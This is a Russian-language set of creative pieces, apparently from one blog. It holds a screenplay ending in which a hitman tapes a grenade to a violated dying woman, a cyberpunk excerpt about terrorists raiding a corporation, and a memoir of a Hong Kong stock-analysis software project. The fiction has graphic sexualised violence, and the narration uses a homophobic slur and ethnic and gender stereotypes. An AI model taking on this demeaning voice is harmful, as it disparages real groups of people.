Чтобы сделать этот день незабываемым.

Артур достает из сумки гранату и скотч, кладет гранату в сложенные лодочкой руки Лизы, затем медленно обматывает ей руки вместе с гранатой скотчем.

Лиза мелко дрожит, плачет и не может сопротивляться.

АРТУР

(во время процесса)

Без обид, деточка.

Понимаю что ты ждала от жизни другого.

Наверное у тебя были большие планы.

(продолжает обматывать гранату скотчем)

Мечты о лучшей жизни.

Но увы.

Жизнь вот такое вот говно.

(глядя в глаза)

Не люблю глумиться над убогими и умирающими, не тому меня мама учила.

Но очень надо оставить знак.

Артур достает визитку Михаила, извлекает из сумки пачку меченых долларов и засовывает все это Лизе в трусы.

АРТУР

(в процессе запихивания)

Видишь ли, я сегодня слегка превысил свой лимит.

Камера показывает залитый кровью двор и раскиданные в разных позах трупы.

Семь жмуров за раз.

Камера показывает крупно расстрелянного Михаила и труп бармена рядом на полу. Затем труп Алины с навечно застывшим изумлением на лице и дырой в красивом лбу.

На суицид ни один из них не потянет.

Мой тариф «Криминальный» такое не покрывает, понимаешь?

Придется доплачивать.

А я всегда огорчаюсь когда доплачиваю.

Это не по христиански.

Наконец Артур заканчивает с Лизой и натягивает трусы обратно.

АРТУР

Не волнуйся деточка, это последний раз когда в тебе был мужчина.

Надеюсь низ хорошо сохранится.

Жаль что вы ребята так и не успели побывать в Эрмитаже..

Артур вырывает чеку и быстро уходит из кадра.

Умирающая, плачущая, дрожащая от шока и ужаса, практически изнасилованная Лиза переводит взгляд с гранаты на экран, лицом к зрителю.

ЛИЗА

П..п..помогите..

Какое время ничего не происходит.

Экран уходит в затемнение.

Затем раздается взрыв.

Взрыв переходит в праздничный салют с феерверками на фоне самых известных мест Санкт-Петербурга.

Появляется заставка:

ВЕСЕЛЫЕ КАНИКУЛЫ

ТИТРЫ

Пока идут титры, показывается дополнительная история, с рассказом о последующих событиях — в стиле репортажа.

Очень старый и тяжело больной мужчина, сидящий в инвалидном кресле-каталке смотрит на реку, слушает радио и курит сигару.

Кресло-каталка стоит на террасе загородного коттеджа, вид на реку Неву, съемка со спины, лица не видно.

По Неве плывет теплоход с туристами, по радио рассказывают новости.

Пятеро молодых туристов оказались жертвами жестоких криминальных разборок в северной столице..

Вчера днем в центре Санкт-Петербурга произошло массовое убийство..

На месте происшествия найден мертвым известный в прошлом криминальный авторитет Миша Козырной, недавно вернувшийся в Россию после начала расследования Интерпола.

Найденные на месте улики показывают, что Козырной был связан с мексиканскими картелями и участвовал в незаконном обороте наркотиков.

К другим новостям.

Домовитый бобр с Чёрной речки таки обрушил дерево на припаркованную машину у элитного ЖК — ровно то, чего и боялись местные жители.

На поимку лохматого даже вызывали спецов — но преступник оказался хитрее и быстрее человека с петлёй.

Жители разошлись во мнениях: жалко добряка или своё имущество. В итоге пока решили оставить всё как есть.

Настоящий киберпанк (отрывок)

2026-02-26T06:56:40.132Z

Небольшой отрывок, того что когда-нибудь станет полноценным произведением. Вам на оценку.

На основе моих «студенческих работ» по сценарному мастерству.

На хорошего человека уходит обойма патронов.

На плохого — две.
В меня разрядили четыре...

Четыре полные обоймы... тридцать шесть маленьких кусочков свинца, наделавших тридцать шесть новых дырок — серьезные люди не промахиваются.

Особенно в упор.

Смешно, мой доктор как-то сказал, что организму не хватает железа..

Ну.. думаю теперь этот вопрос решен — столько свинцовых пилюль моему бедному организму хватит надолго.

С запасом.

Хотя вряди доктор именно эти пилюли имел ввиду.

Теперь вы наверное захотите узнать, кто я вообще такой и почему лежу в позе морской звезды в этой вонючей и темной подворотне.

В луже собственной крови, которая сейчас медленно перекрашивает мой дорогой костюм.

Полагаю, еще определенные вопросы вызовет рюкзак, который валяется рядом. Вернее отрубленная голова внутри, с проводами.

Ну и наверное будет интересно, какое отношение ко всему этому имеет Надежда Кадышева и ансамбль «Самоцветы».

Вопросы, вопросы..

Неудачно вышло, что тут скажешь.

Но хочу сразу сообщить, что ни Надежда Кадышева ни ансамбль не имеют к происходящему никакого отношения.

Все это совсем не важно.

Важно другое — что за каким-то бесом я до сих пор жив.

Пусть и не целиком, но жив.

На очень тонкой грани между живыми мертвыми. Оставить меня вот так — одной ногой в могиле это высший уровень мастерства.

Да, вы правильно поняли — мне позволили выжить.

И тот кто принял это интересное решение — ни-хре-на не «Святая Дева Мария». Потому что такие святым девам не нужны.

Ну... очень на это надеюсь.

Две недели назад

— Ну что Артем, ты в деле?

Задавший этот, столь банальный вопрос, русый парень в деловом костюме не производил впечатление опасного или проблемного. Как впрочем и его коллега, сидящий рядом.

Мы все тогда не были проблемными.

Сотрудники большой компании — мелкие пчелки в большом улье, следящие за уровнем хозяйского меда.

Обычный рабочий день в стеклянном офисе шел своим чередом, наступил обеденный перерыв в корпоративной столовой.

— Не переживай, глава департамента в курсе и нашу инициативу поддержат сверху. Проблем не будет.

Сидящий рядом с русым грузный армянский мужчина с добрым лицом, сделав глоток кофе и картинно разведя руками продолжил.

— Пойми, все это не более чем игра. Дань уважения преданному сотруднику, отдавшему не один десяток лет работе на корпорацию.

— Но чисто между нами: старой крысе давно пора на пенсию. И в руководстве об этом знают.

— Ты на хорошем счету, даже врать не придется.

— Достаточно подсветить в докладе проблемные места, отметить упущения и провалы, которых за этим старым чертом немало. Привести факты, перечислить неприятные инциденты.

— Ну и сослаться на «слабеющие когнитивные возможности» старой мразоты. Со всем уважением, разумеется.

В качестве завершения тирады раздался смачный хруст сельдерея.

— Тот январский сбой помнишь?

Встревает в разговор русый.

— Два ключевых сегмента корпративной сети сутки лежали.

— Тестовые стенды, багтрекер, даже мать его корпоративный чат — все накрылось.

— Мы с Арсеном (кивает на армянина) тогда контракт потеряли, жирный. Оборонку.

— Не очень приятно когда тебя при подчиненных называет «тупым долбоящером» целый генерал армии, пусть и штабной.

Арсен дожевав сельдерей продолжает нагнетать:

— А старой крысе все сошло с рук.

— «Обновления неудачно поставили», понимаешь.

— Скоты криворукие.

Соглашается русый.

— Да просто эта старая гнида с безопасниками уже десяток лет на короткой ноге.

— Подал руководству все так, будто это он один — герой и защитил компанию от «страшной угрозы извне».

— Мразота плешивая.

— Короче господа, давайте еще раз пройдемся по нашему плану и проговорим ключевые места, чтобы потом не было разногласий.

Мы еще долго сидели в тот день, обсуждая до мелких деталей хитроумный план, которому так не суждено было воплотиться в жизнь.

Неделя назад

Как вообще можно что-то планировать?

Жизнь это хаос и случайность.

Управление рисками? Серьезно?

Расскажите об этом фаундеру, который пришел показывать свой проект инвесторам в тот замечательный день.

Чувак — гений, без дураков, много лет учился, затем работал наемным сотрудником в крупных компаниях. Нашел нишу, собрал команду единомышленников, которая даже успела что-то выпустить.

И вот настает его час, он встает и выходит на сцену, судорожно включает ноутбук и запускает презентацию свой проекта.

«Важного для всего человечества», разумеется — ради меньшего такая аудитория не собирается.

Голос предательски дрожит, несмотря на весь опыт и достижения, фаундер волнуется, его аудитория сегодня — люди из другого социального класса, из другого мира, практически с другой планеты.

С планеты, где все и всегда хорошо.

Из сказочного, волшебного мира, в котором всем по#бать на исполнителей — тех кто выносит говно и прибирает за «сильными мира сего».

Фаундер начинает заготовленную речь.

Стандартные формулировки и шаблонные заходы, ничего нового.

Публика начинает откровенно скучать.

Пресыщенная аудитория отвлекается, начинает тупить в телефоны, мелькают злобные ухмылки, не предвещающие ничего хорошего.

Казалось бы судьба очередного стартапа предрешена и очко фаундера вот-вот уйдет в зрительный зал.

Но высшие силы решили в этот день пошутить.

Тот же день, подземная парковка

Самый обычный фургон ремонтной компании, не привлекая лишнего внимания медленно заезжает на подземную парковку корпорации.

— Помните нашу миссию, парни!

— Мы все были рождены ради великой цели!

— Другого пути нет и создатель благословил нас на великое дело. То, чему суждено произойти сегодня это не конец!

— Это великое начало!

Декламирующая всю эту дичь женщина вызывала уважение. И вполне определенные желания, сексуального толка.

Но нам, простым работягам все было понятно и так, без ненужных слов и говорящих п#зд.

Понятно очень давно.

Корпорация — чистое зло, ее сотрудники — чипированные упыри, творящие эксперименты и опыты над живыми людьми.

Не надо таким жить на свете.

Рожок патронов для АК-74 скоро станет для них проводником в иной мир.

Мир мертвых.

Все просто и понятно.

Особенно когда есть АК-74, патроны и немного «волшебной пыльцы», так ускоряющей мышление.

Тот же день, лифт

Артем, молодой белый мужчина, с высшим образованием, хорошим послужным списком и идеальной биографией.

Не п#дор, наркоман или мудак, пытающийся сдать в ломбард последний корпоративный гвоздь ради налички для очередной ставки.

Сейчас он выбрит, надушен и в деловом костюме, что не очень типично для айтишника.

Артем ведет корпоративную Тойоту аккуратно, не превышая рекомендуемую скорость и соблюдая все правила — он знает, что сегодня важный день и отчет по поездкам в течение последнего месяца обязательно ляжет на стол руководству.

Любая мелочь, любое нарушение может стать провалом.

Припарковавшись на многоуровневой корпоративной стоянке, Артем заходит в лифт, который должен доставить его на 75 этаж головного офиса корпорации, в переговорную. Где его уже ждут.

Он должен прочитать важный доклад для высшего руководства, способный радикально изменить его жизнь и карьеру.

Он спокоен и сосредоточен, идет четко к цели и не замечает ничего вокруг. Артем не верит в Бога, не верит в судьбу, не верит в случайности и совпадения.

Поэтому когда в лифт вслед за ним влетают пятеро вооруженных людей в масках — все его понимание этого мира рушится.

Окончательно и бесповоротно.

Последнее что он видит это приклад автоматической винтовки, которым его бьют по голове.

Утро нового дня

— На этом все Павел Георгиевич, доклад закончил.

— Свободен.

Оперативник быстро кланяется и направляется к выходу.

В помещении темно и накурено, на экране трехмерного проектора остается замерший кадр — последнее что увидела камера: пятеро вооруженных боевиков в масках залетают в кабину лифта.

Павел Георгиевич достает именной портсигар, вытягивает тонкую, вручную набитую папиросину и задумчиво катает ее между пальцами.

Он видел многое за свою долгую жизнь в корпорации, еще больше — на посту тайного агента службы безопасности.

Но всему есть предел и у всего есть конец.

И срок службы уважаемого Павла Георгиевича практически подошел к своему логическому концу — с такой работы не увольняют и не отпускают.

Даже на пенсию.

— Н-да, вот такие дела.

— Неожиданно.

— Неожиданно и неприятно.

Поворачивается к сидящему рядом сотруднику.

— Ну что, Тимур, ты же хотел повышения?

Кивает на экран проектора.

— Вот это он, твой шанс. Жги.

Тимур — крепкий коренастый азиат, оторвал взгляд от досье Артема Павленко, которое он изучал второй час подряд и посмотрел на своего шефа.

— К сожалению наши системы безопасности оказались не рассчитаны на идиотов.

— А в террористы почему-то других не берут.

— Ну почему же сразу идиоты? У них есть великая цель, есть идея.

Павел Георгиевич закончив мусолить папиросину, наконец закуривает.

— В сущности это лучшие люди, чистые и незамутненные в своей идейной борьбе. Лучше чем мы с тобой.

Затягивается и выпускает клуб дыма в потолок.

— Ага, незамутненные идиоты. Точно подмечено шеф.

Тимур не улавливает сложного юмора руководства, которое так старался подсидеть.

— Ладно, вижу в философских вопросах ты не силен, давай тогда ближе к делу. Оперативная обстановка, план действий, идеи, мысли, замечания — излагай.

Стопроцентное распознавание

2026-02-24T10:51:55.222Z

У истории про «элитный вайбкодинг», вызвавшей заметный интерес широких айтишных масс, есть не менее интересная предыстория.

Сейчас расскажу «как Сол Гудман стал таким».

Проектному управлению посвящается.

Низвержение в Мальстрем

Если никогда не бывали в Гонконге, то многое потеряли — это место точно стоит посетить, хотя-бы раз в жизни.

Особенно если кино про компьютеры, вроде «Призрака в доспехах», «Хакеров» или «Джонни Мнемоника» для вас что-то значит.

Огромный, футуристический мегаполис, неоновые вывески с иероглифами и бесконечные толпы людей вокруг..

Яркие краски и узкие улочки «в тени мегабашен», с гудящими кондиционерами, мелкие лавочки с азиатской едой — именно Гонконгом и его атмосферой вдохновлялись многие известные авторы жанра киберпанк.

Все фото - авторские, снятые в Гонконге и Сингапуре, во времена описываемых событий.

Именно здесь, в одном из маленьких, но очень атмосферных гонконгских баров началась эта печальная история. После которой я наконец перестал пытаться изменить мир и окружающих.

— Повторяю вопрос: ты точно уверен?

— Еще можно все отменить, договор не подписан. Можем «дать заднюю» без особых последствий.

С тогдашним деловым партнером, назовем его Павлом, мы были знакомы еще со студенческих времен. Но бизнес есть бизнес — в нем есть жесткие правила, самое важное из которых:

нам надо зарабатывать деньги.

Высокая прибыль от проекта легко может быть перекрыта например судебным иском, с требованием возмещения.

Поэтому решение брать ли проект в работу — всегда сложное и зависит от множества факторов, не всегда очевидных обывателю.

Даже если на счетах миллиард, в штате десяток зубастых юристов, а компания называется ~~EPAM~~ Accenture.

— Да-да, уверен. Сколько можно повторять?

— Мистер Лююю Фхенх действительно заинтересован.

Чуждое для отечественного уха имя было намерено исковеркано. Павел не особо котировал азиатских бизнесменов.

Улицы ночного Гонконга.

Несмотря на регулярное деловое общение с ними и многочисленные поездки по странам Азии.

— Мы его впечатлили, насколько это возможно для азиата. Так что расслабься и насладись наконец победой.

Сидели мы, как помню, в уютном, крошечном баре, в самом начале длинной улицы с разнообразными питейными заведениями.

Был тихий, спокойный вечер. Даже слишком тихий и спокойный для такого огромного мегаполиса.

— Не нравится мне эта история, от слова «совсем».

— Риски слишком велики. Чужая страна, сложная область, еще и разработка с нуля. ~~Обосремся~~ Надорвемся.

Партнера не удивило такое отношение, все-таки мы были знакомы очень давно.

— Все потому, что ты, мой дорогой друг, плохо учил историю.

Мой собеседник сделал изящный пируэт кружкой пива, чему деловой костюм никак не помешал — примерно для этого и существует индивидуальный пошив. Для свободы действий.

— Мы с тобой в бывшей английской колонии, колонии европейской цивилизации. А ты между прочим европеец, фактически бывший господин для местных обитателей.

— Так что больше уверенности.

Пора было закрывать лавочку, продолжение банкета привело бы к ~~открытию филиала в Денвере~~ закономерному печальному финалу.

Но постебать Павла напоследок я все же не забыл:

— Ты в курсе, что славяне за европейцев никогда не считались?

Еще немного ночного Гонконга.

Понимаю что сейчас — после пандемии, череды войн и мировых кризисов все это кажется невероятной идиотией, но тогда все было иначе.

Мы действительно видели себя на вершине мира — тихого и спокойного мира, в котором существовали правила.

Конечно мы ошибались.

Утром следующего дня, такси высадило нас у старого офисного здания в деловом центре Гонконга.

— Добрый день, господа!

— Мистер Лу скоро будет готов принять вас, подождите пожалуйста здесь.

— Чай? Кофе?

Первый признак серьезности для делового человека — его секретарь.

Не юная миловидная девушка с соблазнительными формами, забывающая надевать лифчик, вовсе нет.

Такое только для дураков, не имеющих к реальному бизнесу никакого отношения.

Лютый цербер, с детектором проблемных клиентов, владеющий приемами рукопашного боя и навыками международной дипломатии — вот что такое секретарь серьезного человека.

И одного взгляда на встретившего нас секретаря было достаточно для осознания:

достопочтенный мистер Лу Ченг — серьезный бизнесмен, без вопросов и сомнений.

Нас проводили в небольшую комнату ожидания.

Это уже Сингапур и сейчас этот район стал раза в два больше.

Пара мягких диванов, столик с рекламными буклетами компании, картины на стенах — ничего примечательного. За исключением пары мелких деталей, дающих понять, что мы все-таки в Азии.

На одном из диванов уютно расположилась пара весьма занятных персонажей — Боб и Майк, как они позже представились. Классические бриты.

«Sales executive» — специалисты по работе с ключевыми клиентами. Из одной очень известной компании с мировым именем.

Пара — не в том смысле что они были «парой» и делали друг с другом всякое темными ночами. Просто их было двое.

— Так что парни, чем занимаетесь?

К моменту когда был наконец задан этот вопрос, мы успели пожать руки, представиться и завязать тот самый «small talk» — легкую светскую беседу «ни о чем», которая так тяжело дается выходцам из стран СНГ.

Пришло время для более серьезного разговора.

— Разработкой программного обеспечения. Ну знаешь, программы всякие, для компьютеров.

Боб с интересом кивнул.

— А вы из России да? Говорят в России лучшие программисты.

Майк был немного старше и по всей видимости более искушен в дипломатии.

— Далеко же вы ребята забрались. Надеюсь у вас все получится в Гонконге. Можем чем-то помочь?

— Наша компания предоставляет облачные услуги, но вы наверное в курсе.

Еще бы мы не были в курсе — Боб с Майком представляли компанию масштаба Микрософта в сфере облачных решений. Уверен, вы дорогой читатель, тоже ее хорошо знаете.

— Мы заинтересованы в новых партнерах, поможем, обучим, ~~отсосем~~ дадим льготный период.

— Что у вас за проект?

Так мы сделали первую серьезную ошибку, рассказав Бобу и Майку о нашем проекте. Первую в этом повествовании разумеется, не хронологически.

Хронологически первой серьезной ошибкой, была покупка родителями домашнего компьютера.

Что в итоге и превратило обоих вместо приличных членов общества в ээ.. отъявленных представителей ИТ-индустрии.

— У мистера Лу есть проект по анализу документов о размещении акций с бирж, у нас — соответствующий опыт и компетенции.

Павел кивнул на меня.

— Пилот успешно запустили, теперь расширяем функционал.

Боб с Майком переглянулись.

—У нас с мистером Ченгом тоже ээ.. есть один проект.

— Но с такими крутыми парнями как вы, точно хотелось бы посотрудничать. Обсудим?

Позже выяснится, что никакого проекта у Боба с Майком не было, с мистером Лу они толком не были знакомы и вообще реальная ситуация сильно отличалась от рассказанного нам.

Сотрудники мировой корпорации, как оказалось, запросто могут врать в лицо, забивать на любые правила и даже букву закона.

И все это в стране первого мира.

Блеф, презрение и ненависть могут быть вежливыми и с соблюдением этикета — я смог убедиться в этом задолго до первой публикации на Хабре.

Еще улочки Гонконга, узнаете стилистику?

Конкретика

Понимаю, что слегка утомил литературными изысками, все же это техническая статья, а не гламурный роман.

Так что даю наконец «цинк»:

Десять лет назад случился проект, который чуть нас не угробил, вогнав в серьезные долги и поставив на грань выживания.

Проект, который сильно поменял мои взгляды на жизнь, работу и отношение к клиентам.

Проект, ставший своеобразным приквелом к истории с «Элитным вайбкодингом»

Текст ниже надеюсь доходчиво объяснит, почему автор больше не испытывает угрызений совести и моральных терзаний при работе с клиентами.

Еще по этому адскому проекту давно выложена отдельная статья с техническими деталями, с примерами кода, скриншотами и так далее.

Хотя материалов с тех лет осталось немного:

большая часть работы заключалась в сложной обработке данных, а делать скриншоты черной консоли казалось скучным занятием.

Но повторяться не буду и этот рассказ пойдет в первую очередь про людей, со всеми их бедами и проблемами. Не про технологии и компьютеры, у которых все хорошо пока есть электричество.

Также стоит сразу уточнить:

несмотря на реальность событий, имена действующих лиц и некоторые факты биографии все же были изменены.

Поэтому в частности, упоминаемая семья Ченг не имеет отношения к реальному и весьма известному миллиардеру из Гонконга.

Вид на Гонконг из здания аэропорта. Да, там есть горы.

Трудности перевода

С Ченгом-младшим мы познакомились, как часто бывает, совершенно случайно — в аэропорту. Случилась задержка рейса на несколько часов, которые решили скоротать в баре.

— Do you speak English?

Меня регулярно принимают за местного в чужих городах и странах, приставая с дурацкими вопросами. Такое случалось даже в Сингапуре, поэтому не особо удивился, заметив перед собой молодого азиата в дурацкой панамке со скорбным выражением лица.

Оказалось, что его рейс тоже задержали, а элитная кредитка в российском банкомате почему-то не читалась, оставив иностранного туриста без денег.

Еще он очень устал и хотел спать.

Русского он конечно не знал, а уровень владения английским в отечественных аэропортах не далеко ушел от классического «лет ми спик фром май харт».

Так Томасу Ченгу — сыну известного бизнесмена Лу Ченга из Гонконга в первый раз понадобилась наша помощь.

Пусть всего лишь с такси и гостиницей.

Уникальный ТЦ в Сингапуре, с лодочным каналом! Можно было натурально приплыть за покупками.

Сказочное Бали

Две недели спустя мы с партнером сидели в красивом, стильно обставленном офисе.

— Томас, понимаем задача грандиозная.

— Но нужен план. И оценка бюджета, хотя-бы примерная.

Ченг-младший совсем недавно закончил престижный университет и рвался «всем все доказать», а едва узнав чем мы занимаемся — не ~~слезал с нас~~ вылезал из переписок неделю, изливая на нас одну ох#ительную идею за другой.

Университет хоть и был действительно престижным, своего звездного студента мало чему смог научить.

Точно не ~~сопромату~~ дисциплине и планированию.

Но хороший вкус у Ченга-младшего был, этого не отнять.

— Все очень просто.

(не представляете как часто эта фраза звучит на переговорах)

— Надо сделать простую программу, чтобы пользователи могли покупать и продавать акции компаний на бирже.

— Всего лишь две кнопки: «купить» и «продать».

«Программа» это разумеется мобильное приложение, других Томас не признавал. Точнее две: под iOS и Android, с разными маркетплейсами, правилами аудита, продвижением и ограничениями.

И конечно минимум две разных версии под планшеты.

Плюс невидимый глазу клиента бекэнд с API, авторизация, внешние интеграции и вся обвязка для управления. Но это лишь «скучные технические детали», ненужные и неинтересные.

— Еще там будут советы ~~бывалых~~ какие акции сейчас стоит купить, а какие продать.

— Главная фишка сервиса. Ни у кого такого нет!

Разумеется подобных «уникальных приложений» было даже тогда — как ~~говна за баней~~ очень много. Но тратить время на переубеждение потенциального клиента.. ..чтобы что? Cорвать переговоры?

— А откуда все эти «советы» будут браться? Посадишь финансовых аналитиков вбивать?

— Не-не-не! 21й век на дворе, вы чего.

— Сделаем уникальную систему с искусственным интеллектом. Она сама будет ~~бегать за пивом~~ получать данные с бирж, читать их и анализировать.

— Затем выдавать рекомендации пользователям.

— Платные, разумеется.

Мы с Павлом переглянулись.

Напомню, дело происходило больше десяти лет назад, до появления ChatGPT и массового ~~психоза~~ увлечения нейроcетями.

ИИ тогда был, по большей части, темой научных диссертаций и R&D, но точно не мейнстримом.

Улицы Сингапура, ничего интересного.

Томас тем временем продолжал фонтанировать.

— У меня есть знакомый ученый, математик или что-то такое.

— Учились вместе. Как-то напоили до потери сознания и привязали к заднице петарду с блестками. Он ползал по кампусу и блевал дугой во все стороны, а из задницы летели фейерверки — весело было всем!

Судя по выражению лица Ченга-младшего, такие развлечения у них были регулярными.

— Короче я его нанял, чтобы ваять автоматические предсказания по акциям, с помощью всей этой технической зауми и матана.

— И это работает, просто пока ээ.. не полностью.

Еще одна частая фраза на переговорах: «работает, но не полностью». Примерно как «машина ездит, но пока без колес».

— Ладно, а как это сейчас выглядит?

— Ну мой математик просто скачивает файлы с бирж вручную, выделяет нужные цифры с количеством акций и изменениях долей акционеров и подставляет в свою модель.

Тогда у меня еще дергался глаз с описания таких рабочих процессов, но про дипломатию я все же не забывал:

— Кропотливая работа, наверное.

— Да плевать, ему за это платят.

Ченг-младший, родившийся «с золотой ложкой» предсказуемо имел другие взгляды на дипломатию и будни простых сотрудников.

— На данный момент успели проверить модель на примерно сотне документов. Что вроде как мало.

Для счастливых обладателей гуманитарного образования поясняю:

сотня документов для такой задачи это ~~п#здец~~ невозможно мало, это даже не курсовая работа.

Уровень школьного проекта, не самой лучшей школы.

Не буду утомлять читателя дальнейшим пересказом тех далеких событий, полагаю отрывка выше вполне достаточно для понимания сути.

Лишь добавлю, что с Томасом был таки подписан договор, по которому мы должны были сделать пилот его гениального приложения с предсказаниями и советами.

По вполне конкретному ТЗ, усилия для согласования которого были сопоставимы с работой дипломатов МИД РФ по урегулированию известного конфликта в соседней стране.

Казалось, ничего не предвещало большой беды. Ну почти.

Подворотни Гонконга, уверен вы видели это в недавнем Cyberpunk 2077.

Cherchez la femme

У нашей беды было красивое имя, ее звали Катрин.

Ну вы же не думали, будто статья про грандиозный провал обойдется без участия женщины?

«Cherchez la femme», мои дорогие, так устроен этот мир.

Эффектная, умная, образованная и с хорошими формами — Катрин работала на Томаса и будучи чем-то средним между COO, CFO и ~~балериной-космонавтом~~ секретаршей-аналитиком, быстро стала связующим звеном между придурковатым Ченгом-младшим и нашей разработкой.

Как выяснилось потом, Катрин оказалась непростым персонажем — с сюрпризом.

Не с тем самым сюрпризом, про который сейчас подумали юные любители Таиланда, вовсе нет.

Все оказалось гораздо хуже, причем хуже в первую очередь для нас — простых исполнителей, не для Томаса и его сказочного проекта.

Наконец последним фактором, внесшим разлад в наши стройные ряды и серьезно повлиявшим на дальнейшие события, была дурацкая попытка моего тогдашнего партнера.. приударить за Катрин.

«Не ну, а чо», красивая и умная женщина, теплый экзотический Гонконг — почему нет?

Например потому, что ~~романы на работе плохо заканчиваются~~ на свете нет чудес.

Умный человек никогда не будет просто так работать на идиота.

Катрин была умной, Ченг-младший — ~~тупым~~ откровенно недалеким.

Столь противоестественный союз мог держаться только на какой-то тайне — скрытом нюансе, суть которого оказалась крайне неприятным сюрпризом.

На всякий случай напоминаю, что «нюанс» не имел отношения ни к физиологии Катрин, ни к ее сексуальным талантам.

Тем не менее, крайне рекомендую проверять отсутствие кадыка у дам в странах юго-восточной Азии, прежде чем с ними уединяться.

Во избежание неприятных сюрпризов в самый ответственный момент — можете считать это официальной рекомендацией.

Сезон дождей в Сингапуре, дождь мог лить месяцами.

Таможня дает добро

Стадию пилота мы прошли быстро, красиво и без проблем.

Несмотря на всю дурость заказчика, в лице Томаса.

Много позже придет понимание, что отсутствие проблем на стадии пилота означает ~~п#здец~~ глобальные проблемы у самого проекта — вплоть до его закрытия и распродажи имущества компании после банкротства.

Пилотное внедрение для того и делают, чтобы собрать все возможные проблемы и недочеты. Если таковых нет, значит сам проект — мертв.

Но тогда мы были юны и наивны, поэтому лишь радовались быстрому успеху.

Столь важное событие — успешную сдачу пилотного проекта, тем более для богатого иностранного заказчика было решено отметить.

— Ребята, вы ооофигенные молодцы! За вас, за нас и ~~нефтегаз~~ проект!

Вообще-то Ченг-младший вполне мог позволить себе ванну из шампанского «Crystal» и регулярно приезжал в офис на спорткаре.

Парковка у офиса местных криптанов. Шучу, просто случилась какая-то выставка и тачки пригнали со всего Сингапура.

Личном или арендованном — другой вопрос, задавать который мы постеснялись, однако капитал явно присутствовал, даже можно сказать «витал в воздухе».

Но в тот вечер, ради общения с ~~таким быдлом~~ отличными исполнителями, Томас снизошел до банального пива, видимо вспомнив историю нашего знакомства в аэропорту.

— Я вами очень впечатлен. Будем работать!

Чел в дорогом костюме, в 27 лет паркующий спорткар у собственного офиса и только что выписавший вам солидный чек за завершенный проект, говорит «Будем работать».

Признайтесь честно: абсолютно любому в такой момент снесло бы башню. Конечно мы не стали исключением.

Еще тогда мы впервые узнали, кто именно финансирует весь этот праздник жизни.

— Господа~~-офицеры~~, нас ждут великие дела!

— Больше бирж, больше документов, больше ~~угара~~ прогнозов — впереди только рост, только развитие и новые победы!

Папа дает добро.

$500k бюджета, на год работы.

Прежде чем ~~онанировать~~ медитировать на эту огромную по меркам обывателя сумму, стоит узнать о паре нюансов.

На случай, если вдруг захотите повторить.

Мой боевой Lenovo Z580, который когда-то был черным, на фоне - какой-то роллс-ройс.

Нюансы и мелочи

Как уже упомянул выше, ~~жопой~~ сердцем проекта была система предсказания курса акций компаний, которые торгуются на биржах.

Предсказания строились весьма незатейливым образом:

отбирались «киты» — крупные инвестиционные фонды и частные инвесторы, чьи операции покупки-продажи акций на биржах отслеживались путем анализа первичных документов, в первую очередь отчетности.

Если условный «BlackRock» покупал долю в компании, предполагалось что стоимость ее акций будет расти, если продавал — падать.

Если условный Уоррен Баффет входил в совет директоров, считалось что курс акций компании вырастет, если покидал — начнет падать.

Всего подобных признаков было около сотни — вполне достаточно для простейших «предсказаний».

Поскольку публичные компании обязаны отчитываться о любых изменениях в совете директоров, покупках-продажах и новых выпусках акций — весь этот «инвестиционный движ» можно было отследить, изучая публикации документов на бирже.

Дальше все упаковывалось в красивые рекомендации, которые затем появлялись в мобильном приложении для ~~ушастых~~ пользователей, рядом с большими, яркими кнопками «Купить» и «Продать».

Сложно сказать, насколько весь этот ~~лохотрон~~ замечательный проект был успешен, поскольку финансовую отчетность нам не показывали.

Но широкая улыбка никогда не покидала лица Томаса Ченга.

Нюанс первый

Каждая биржа (например NYSE — нью-йоркская фондовая биржа), помимо публикации оригинальных документов с отчетностью по компаниям, предоставляла еще и официальные платные выгрузки данных, обычно в CSV или XML.

Эти данные — полные и проверенные (в том числе живым человеком) идеально подходили для задач анализа, вроде нашей.

Проблема была лишь в цене — стоили эти выгрузки как самолет.

Не помню точный прайс, разный для каждой биржи, но речь шла о десятках тысяч долларов.

Нюанс второй

Оригиналы документов представляли собой (чаще всего) многостраничные PDF, внутри которого находились картинки, отсканированные с факса.

Типа такого:

И это еще не самый сложный вариант.

Из документа выше необходимо было вытащить содержимое таблицы и как минимум номер ACN, естественно в «машинном» формате — убрав все пробелы, проценты, дроби и запятые.

Поскольку документы сканировались вручную и не предназначались для автоматической обработки, очень часто страницы имели наклон, засветку или даже другой формат — в одном PDF запросто чередовались альбомные и книжные страницы.

К тому же вытаскивать было необходимо далеко не все данные, при этом нужная информация запросто могла оказаться не на второй странице, а скажем на десятой или даже двухсотой.

Чтобы все это обрабатывать мы реализовали специальный язык (DSL) на базе JRuby, на котором и реализовали высокоуровневую логику обработки, спрятав технические детали вроде OCR, разбора PDF и алгоритмов очистки в специальных функциях.

Не буду дальше углубляться в технические детали, кому интересно — есть отдельная статья.

Всего в рамках проекта планировалось охватить 28 бирж, от 2 до 200 тысяч компаний на каждой, в среднем по десять форм отчетных документов по каждой компании.

И все это за период в 5-7 лет, в зависимости от биржи.

Нюанс третий

Теперь самое важное:

всю эту жесть с оптическим распознаванием факсов мы не планировали

Поскольку пилот прошел на кристально чистых данных сингапурской фондовой биржи, где была жесткая дисциплина и у всех PDF-документов был отдельный текстовый слой, естественно легко читаемый.

Про остальные биржи, до момента завершения пилота заказчик в лице Томаса рассказать не посчитал нужным.

Так что разница в сложности между пилотом и основным проектом оказалась как между детским увлечением ракетным моделированием и запуском настоящей ракеты с Байконура.

Но осознали это мы далеко не сразу.

Дежавю? Потому что этими улочками вдохновлялись создатели Cyberpunk 2077.

Король говорит

Если честно, я мало что понимаю в китайской культуре, поэтому большая часть внутреннего убранства в кабинете мистера Лу Ченга так и осталась для меня загадкой.

Разумеется живя в Сингапуре, видел ~~всякое~~ и «Китайский Новый год» и ритуал сжигания фальшивых денег. Даже успел узнать, что статуэтка огромной жабы приносит финансовую удачу.

Но почему-то не финансовую грамотность.

Как бы то ни было, мои познания были на уровне «красных шаровар и самовара у русских» — набора стереотипов, мало отражающих реалии.

Однако мистер Лу Ченг явно жил в гармонии со своими корнями и не испытывал никакого диссонанса от 21го века.

Мне же как «технарю» в первую очередь бросилось в глаза отсутствие какой-либо электроники:

ни мобильного телефона, ни планшета, ни ноутбука или стационарного компьютера в кабинете не было.

Мистер Лу пользовался исключительно ручкой и бумагой, для всего остального у него был секретарь.

— Алекс, Павел, простите за ожидание.

— Рад наконец познакомиться лично. Как вам Гонконг?

Вставший из-за стола пожилой китаец, несмотря на возраст имел идеальную выправку. Еще он отлично говорил по-английски, практически без акцента и придерживался западных норм этикета — мы у него были явно не первыми «европейскими гостями».

